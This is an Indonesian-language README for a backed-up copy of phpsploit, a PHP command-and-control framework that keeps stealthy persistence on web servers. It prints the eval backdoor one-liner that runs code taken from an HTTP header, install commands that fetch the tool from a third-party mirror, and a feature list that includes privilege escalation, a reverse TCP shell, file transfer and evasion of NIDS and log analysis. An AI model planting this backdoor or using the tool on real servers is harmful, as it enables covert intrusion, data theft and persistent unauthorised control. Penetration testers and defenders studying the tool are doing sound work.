Framework C2 yang lengkap dengan fitur yang diam-diam tetap bertahan
di server web melalui PHP oneliner polimorfik
Perlu di ketahui, bahwa repository di buat untuk bertujuan back up script asli dari nil0x42 agar suatau saat kalau tools asli hilang atau terblokir masih ada backup file tools di sini, tanpa saya mengubah isinya sedikitpun _<
Komunikasi tersamarkan dicapai dengan menggunakan header HTTP di bawah permintaan klien standar dan respons relatif server web, ditunnel melalui backdoor polimorfik kecil:
<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>
wget https://github.com/JawaTengahXploit1337/phpsploit-backup/raw/refs/heads/main/php.zip
unzip php.zip
cd phpsploit
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"
-
Efisien: Lebih dari 20 plugin untuk mengotomatiskan tugas eskalasi privilese
- Menjalankan perintah dan menjelajahi sistem file, melewati pembatasan keamanan PHP
- Mengunggah/Mengunduh file antara klien dan target
- Mengedit file jarak jauh melalui editor teks lokal
- Menjalankan konsol SQL di sistem target
- Membuka reverse TCP shell
-
Tersembunyi: Dibuat untuk paranoia tingkat tinggi
- Hampir tidak terlihat oleh analisis log dan deteksi tanda tangan NIDS
- Bypass pembatasan keamanan PHP umum
- Komunikasi tersembunyi di header HTTP
- Payload yang dimuat tersamarkan untuk melewati NIDS
- Dukungan proxy: http/https/socks4/socks5
-
Nyaman: Antarmuka yang kokoh dengan banyak fitur penting
- Bantuan rinci untuk setiap opsi (perintah
help
) - Lintas platform di klien dan server
- CLI mendukung auto-completion & multi-command
- Fitur penyimpanan/pemuatan sesi & riwayat yang persisten
- Mendukung permintaan besar untuk payload besar (misalnya unggahan)
- Mesin pengaturan yang sangat dapat dikonfigurasi
- Setiap pengaturan, seperti user-agent, memiliki mode polimorfik
- Variabel lingkungan kustom untuk interaksi plugin
- API pengembangan plugin yang lengkap
- Bantuan rinci untuk setiap opsi (perintah
- GNU/Linux
- Mac OS X
- GNU/Linux
- BSD-like
- Mac OS X
- Windows NT
Terima kasih kepada orang-orang hebat ini:
nil0x42 💻 🚇 🔌 |
shiney-wh 💻 🔌 |
Wannes Rombouts 💻 🚧 |
Amine Ben Asker 💻 🚧 |
jose nazario 📖 🐛 |
Sujit Ghosal 📝 |
Zerdoumi 🐛 |
tristandostaler 🐛 |
Rohan Tarai 🐛 |
Jonas Lejon 📝 |
This project follows the all-contributors specification. Contributions of any kind welcome